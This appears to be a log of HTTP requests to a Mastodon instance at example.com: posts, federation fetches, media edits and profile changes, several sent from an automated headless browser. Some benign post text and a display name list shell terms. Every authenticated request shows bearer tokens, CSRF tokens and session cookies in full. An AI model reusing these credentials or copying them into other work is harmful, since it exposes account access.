{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 186", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 6f1c2b0e9d8a4c3b"], "body": "status=Today+I+learned%3A+%60ls+-la+~%2F.config%60+lists+hidden+files%2C+and+%60python3+-m+http.server%60+serves+a+folder.+https%3A%2F%2Fexample.org%2Fnotes&visibility=public&language=en"}
|
||||||
|
{"method": "GET", "target": "/@admin/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"dKQrZ6jG4+YkuO5qmP9Wdnf48/1ZZYYIHtH6zH7OeVb+O3SKJ9e80S0Fd1Y4rvapQ/YGVJQJHFfX026o/esvwpPM3ai0NWe3OzCZKDx7oDw8dko2JR2qwmKsjZF13HMu8EVTR4FyQ6bs77EVSefEUV54YsVw5zqcY3gb9QFmXCZ3uzJWp2UoCkhNlS9cN0JA9M8LzTtcGhD39aOVaUE0/aR7HYI19Vxa6BE/zS8lNdzhNSdaBcPHwPasrRw21CkvPf2Ols3o9EshfhnnW+OLvXDJMG7ERvt7Ygrk64rAKy33EkgSDVruDM/o6oKLkgjd6HA/pEMlcvNeSa2IccRxHw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/statuses/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"JJBWzFWKAajFgcdkCWTwq09jTa5iyYc/IC1cHlxTLf74x6TKaVicg8IYOOHdouCDzq/CcegBlPf2+gZkWAQWr7FG14PHYIDyRIJzXW58/0qm3GxUp/n4Er98EEYO5Qhp10VYi3OYKnqj08v9Ni0xBQaABtWBignvzpz25QCTDxs9E0LuT+hEUqWshbKNWevGa3yOHHn2tXaYdjEenBBwqZ/6g/DICEdow2zfZUrUjjvfTElPmm88vpU+tyjFrf/Ad7Bg7RJfSiBTpAJurZJMcoB9fPCbZmWt3K4kbZkKFJXOsaahVQpVr8ymoGltePmCcsGlFcOEz8R97GIAIDnhAA==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"LaaPjuzwQwcEWyGCPWbY9D5Tlz8XnlGtrMNqNCPTLyfZLDQaGkC0pHRJyOAbZ3FtfNzMzMZFhI+4kqPnowFPnmM786caaLZg7D98tk8t4hJ4N++cL2+Cs8BrD1F8C6aj01Rh0tb7VR8H7JPkq732iutN0Kjauc9Cn3nuUS1u/dXtVvG5oVMhDBjhhxkceU7n2JKtKmdGvWpKvE8hG/jDI5iaiDOcminb9nYF1Tt/SkP2EyoKMXByFUgajxjCwGojKDixP6cTwRfpPVnFqRSY6lmBTv7B1aSXVdrKzHo7sdcrviPPD4BGDQtd9bFGVLlcFt3VfMxXRcljhAomSUJ+Jw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:admin@example.com", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/jrd+json, application/json", "Connection: close"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RxsP8J109UjnYQVH+A1UT6GdTmBMSUzKUkggbkNcCN8ELuiQT6OnHyQrtk3I1l+6A+zp8h631URDanT90ADKxheG18/soZAaL3ySwLPOtQuOYWtS3FMNINvuMuJAvh5xiC0N3140DsR+h3XAZa6soxqX5nn4bpGHY46LwBo6GnxXGxdOd+xAuDh6OZ/e8vt/Vhwzw1wox7kFUAibo8qGD3eu6hy6aPMW/jWR35UYidmBwlJNuGfof1RZcMlAeBQ+1EbZhDvczU2+OJVXsxv5icgHyqxThKZlNeE9eet+j6btq6deuXtCuHJBleGFk8EjUCwzEn6oyOJFh7KMs0PexA==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"K/U4vf1XHZJCbRedVX+/hx3kmkuvWPdInYTCSGv0c5bxJjlb9Xb6JAPgcfxQZ6bfgrWYIw935SVBBW3H/T4V+NCAfN5Trn8j6lfZXTfhmOUYOOiL5bhV9wvYJ87YYolUPAISSi7tmpm8U5qYXI/EPNWf/3EUp2DokAtdqApWCaYa+rInXLOd9wXJe1NDsSzN/L/ajnJqnp3DYCVwJz+adLiwLlbFBH2KiVe1LYjN9aTWidKGlcdF8ktj8ZEYyvspm2TBvDSvCrQN2clwDZhPvBOl1ediGmAgQl35O5ZSJNJh/4NXZ8c6hHady2Mh6g35bn0qFdf5qA9X8+Gwh0YhXQ==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MDNE5OLMqY6wMcUAYbRvyVbp8mwlgLnakWdHaZtB27TP1tNA7Prx4F1OmDWkU4orpGGyEI+B6HGhFZjZzsqbVq6mO8qQLZTtHwoqsbgAQcE8T1+DATZGaiMFrZ7Lx0ND0ecLVNttko4XOkzYVe4NvDO18aPDKEdmjXTBy50O8VqB7eTjs+6teFb/NOhW+ThlnAGtWjXnlXQfgUbSBFpig4SCk58rjl3e6pMvDIh2P0hu+SwfUIAJVfw7BXkcZI+4GmbQt0goPOUlyxrZHVO/0PcrXuMClZVombyK38fh1RCJ/uG8KcuwGuV0VEV73ixGzHHboEHl1FuyfSfWqMQ4hw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:39 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"FCt71nGVlVl+6AweeTPeDH9ZG8lCBJNntNeZx3hbPV+ATRNYFJotP6mdVmhfpHOt8XdZ4ucfyvgalNmrwBMWLRE9Qb5IFDT4mnmMmJVBrBmpN2yvrtz4xCvxLHqpojGQnBboJZzAC+gMu5dHKeNvbBnZmRc9773A+CAcdY/laDn/i1kfZGjAuD9EUoI38JAXoKr95gtGWnRNENKOh3X2sQvIhIhFrEbJq2nO6uMJVe9Jmo5pGCsQe+Q2lgm5uZg6o6M+fKWKD6ddzP+Yi9+WImgoPSWZ8/kcUhwVkhF0reOX3IQFs2J3VLQcmdTsGTougTfX+wwkOIG9v4Vy206MeQ==\""], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589824807968974", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 66", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 3ttC61ulg7A3ZGNI5eGttLra8QXUtXCV1hpEp9J764VwbYSsNnjJBIYIkRJ01GpYPf8e1HN2zL7RymZsTnzZbw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NDkuOTg2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9d772392075eeb29a62948fb860ec714d746270b; _mastodon_session=3l5QUeLWwQXRjJq9DuiWsEDx9NKG1Psl7NxHan%2BAmBP4j6qnt5NFFhEgNVvz%2BDncCq%2BspIp4AWE%2BgoY%2FnIujpWCehke2x%2FId1FzmxZrO1BAvK5%2BKVFOFIJoHUg%2FPizvshOOUVh5%2BUafxNOZBvFqtMiiVjx%2FsdVE%2Fh%2FHp4R0xUJPNZKJrh%2FMRHo2bmbcsNXDkENSNDjSzKMYil26nIavU6abTOwzh8qwSdNAUXox6qVDjN3F6HCQOSmM4F5qtzyyi446omUuMdIdObD%2FG8XvyhnM72SFe7FSDPoHh5u7NW7McKGKWJdeHsyosRftFCTlrjwlkIX9FcEuKOmfQEUEA7c0Eb4B42gZGjd2CzB2VFQl7SBdv%2B4LQSmVSQ1PSn8XPang%2BA8BpJm6H--WTmaRvSWNSoA9qzj--liGaw9d%2BNBC3zURO6bMCqA%3D%3D"], "body": "{\"description\":\"Blue water by the river path\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589825440074314", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 93", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _IjtdHz8tspmJruPJ8DguLxhPIElIIu5r3UZgzgrxmZSPiszESH8ftdKSdW29SdUO0TTUILjN5KopTtIpCz0jA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NTkuNzQyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e23a2916fec60566bc8eb15a46cc013c906590b; _mastodon_session=qQpZIwTDBV%2FXseTu9y6TGi%2FHDgw8RR2xQsS9YNfIC0lqg0h3JTsMjnYx87bg72SmBVfMwVAfDwbDZgzKqfoqGrwvc4LPg9apI8yReq%2Fspe2VnHiDXTkEQZVih%2B%2FCqcC%2BmRA3z2LNZjhqlfwtjpSWaCUBRut16m0jsrSWe2t4knEahVMuyCPlla%2FmUTNXUvYYAEkdBpU9QpbzCIb2Ff0e9d7aUIQncK15RdyF4iakbYFZBxWnHhZLfA4%2FXvHKXiODhH%2BiVEIZaSYEUmDl0gM146n4zhedFY6uLq5U1qcQBmBtv2ZujYX8tIIj0ZutaYx8iWiM3QiAgCDTZ%2FW5YKPqIMvUZyXJEr6CVNP8p%2BtwFPfp7uTN2%2B4pkfhyqO3KOjF192LJc3OgYvZh--%2FevciV3WxDWRO58q--bYk178zbhmN4mK5XgBFS%2Fg%3D%3D"], "body": "{\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 368", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _YqDs_Tbjh9yw9CyiAfo3LHWrRrY4OyUeBvWLqOviqpTPEX0mQbEq8OvIugZMi8wNvNCy38jUL9_y_TlP6i4QA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: a07839a3-1ef6-444d-914a-1fd1c0629042", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MDYuNjgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c80835c9a15965a3d04c37c548bac9d0a475bcfc; _mastodon_session=jqSqJlqKORi%2ByD0y5ESn1jCjinSx2F1RGJHccLjz1KF%2BDtqPhMDJ2othRP52NJdH0NnAj93F8Kr%2F7bwoPbHtBh7h7fXCdhbyGLbCqlTutcRGf6DEQSQX%2B57324snsJb03dTZAqRWAtOiAhRuAmgBfSk2zhqM6spvXhMyahL5G9%2BvxfbMgRl7SyAh9EJhJBmnnPAZFxeRqRgzyTTVktwdXpGOECcdCYOTYFJyteQL1vHE0OG%2BqD7Rmkg8H0Ew6HNctTdASUN4j7TnjGoq6j9YE1inJa6lZCGRlCaANg55TPn%2BjXaMOKT%2Fv8vDu0AAc4%2FYxUuT5nyIuAK7bjeIixN6QQEyE%2BSd%2BwXRnOaOMFRFvgC%2B4TFHWNgc5onFcGNFuhpRx5MwWvsGRWnH--4bwF9JxIR6vVhbSD--Yig5cMpE3oSX4OCxz%2Fq%2BAw%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"Blue water and a bench by the river path\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 397", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FE5HabawXASV0r3pAxGeiNLN_FfgOzCJm-REpERknoa6-IEu220WsCS-T7OSJFlkVegThkf4jKKcNGZv2GOsbA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: c780a300-cf41-4a69-867e-287d1aa70e85", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MjAuMzc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c8ee0be34472f71dc4f33a868dcadbf58c55f9f7; _mastodon_session=iSWXVmIA3FTehhjK%2BKJzmHrpNqBsKwrKFPOMpTqAFHHws2bKKEHPY7%2Bhy2IKgCOnez4tDquOUsu8yCMsUUbqScw4%2FBZvbJ69cK1yxUq%2Fv4rm4oRIUf3LN0KGGHE2xNF5U9lu4I2ai2lA7uRzEbIA5IXMh9LWMF6k1kzfCKlhU5BqTH4zQLG9u804Pw8JWQX%2Fc%2FUlb3ovK2%2F%2B4QwSSLEZVJNZac%2BH4GcS5tolv%2FMWKrIAYiWpf%2FgzGgSWWnsJNkBv4L28xjX3sJnH1YCrUP52xt1sqh3Hxb7rid681gMwPPWlARbgyYdm4t0fjW%2FRHNqPROKqVKOUIPAiAniFFvZaLNeiefTT3O9Qr3GF3UZJh%2BzubexAot7Q4PARtxHkN%2BmmjRh%2BQVRwwOJu--1I8VSjCtokg8v0Ww--UF7mevNWkWNDjpMB9m3r4w%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess in a terminal\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 31", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jmE3dNyw4unCUqpQIGRgJGxLOhHx3OEXMHpx0bc3ow8g1_EzsW2oXXM-WAqxUafI627VwFYfXTw3qlMaKzCR5Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDI6MzIuODMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3659d037e9719730cc7eacd77d7717b6baa854e0; _mastodon_session=Fg3azK%2BEOmGIb%2F%2Bb2tW9NZt3h5GF5A%2BD%2BXlkdnWMU4RPMcpGJBb5Yev25KK0Wcp6daPt0GcfL3%2F4OG2teG9TXzxygiJqaETkPuACkbnlsFfPXP1ArpZgJKPOXAAR6kHx6kGsazAcD52rjC0E0qFQJoivoFr2DlJ14TxgJdR6pcQzgxEscUzQkJFxPYm89HfohAuoKW7fD6nYuFAattjQbDNf5TI0b0zvY0H5IshUpKfr1w%2Bz%2FnhSwhp4hRpZCFojyzjLtaf%2BFTcRZ4xWjLX%2FRPuN7KVGcMu71eE0nlWlwmpM9LyC62nwlI0bb3Ra89Fuq4FGOolgJbvwCsoceqtaEkRqU%2FnYTsV%2FQMv8AkEpsYuKhPlCnOtOkqTHGmDVUptDODb3cdbxpaJQ--hiAUz1gi4unXsSo7--Ke8Q3uyWfVDUvn5cGLrNoA%3D%3D"], "body": "{\"display_name\":\"River walker\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 54", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=2PtvQFlmi70yHD8eBF1TmGXy%2B12WouQBw%2BdqWKLEWbS35n3ufQFw5TitTkolcE4%2F68kqCRjzuhzCnU8ABd1WKrllplIuO%2BgsJb%2Bdv2Td8Nwl99r3F5FObQ6WTEtoNZy6QG0MzPt0mrfSskOZU5S3SUN3banedhFbXq4GRYhS%2B9NKoQPJnx%2FvHaVMcJ8QowAy%2FJw006GEMBjo9Ho%2Bj9qX2trXHs7dAgcucUng3YIST4W43OKKNa4sGoGOl%2FAcZo5hDrbiSszrZHXN78pSLA74EX9rKjEGFWGSGVkBjlRzt9eLIIqXaO3ey0ermut3J60J2GqFPngN7EFbZYizzrndLctqUAerTaD6snJWTfJhhm2oSBhT2yX8Zt9pvL4v6UZijS3cL7eaYZaC--kkph75d2xNxrVojG--y5t8RE%2BQEI%2BQCLINQpNGlA%3D%3D"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=9f0waBiozbOTg%2Bt90u1Ck7yN7joM1A73cMSprUpSDC8P86ioxYcFfH%2FnfYdIna%2FQ8nFyhdCu%2BxnhftMmO8%2B5ZZ3qfonxwhTTJdEQINenIvffpku7M%2FbRkctcN1fe2C6ienZev8VG1lRsyT9yFsy7HcPyLVuYHDv8idXxwvjDhm8DMZOC5Bi0e63srqrHlabieA3dI8K1ZmzanJ5GjvjTq1ZK%2FOZb9c9Vt9Ps2Yjr5iU1mxvqWNfb696HlO0Zz10pXqTElQsLjhZp0n3WYhFx4KP5R5SYvY3Z8RpRD7ku%2F%2BGIrQgRQjmbw%2Fp3tsPdvqUHM5EjQdEkLt92XRQb0CJpP9KMm2fkP5JppnxkPf4Gc8LUajUrFHIyJmpTqzgdn9N5gkc0MSvcq8hu--ZKb4jK6haTCB1SzQ--KmLHWyj21AsU85Zz9oJ3hQ%3D%3D"], "body": "{\"note\":\"I walk by the river and write about it.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 62", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; 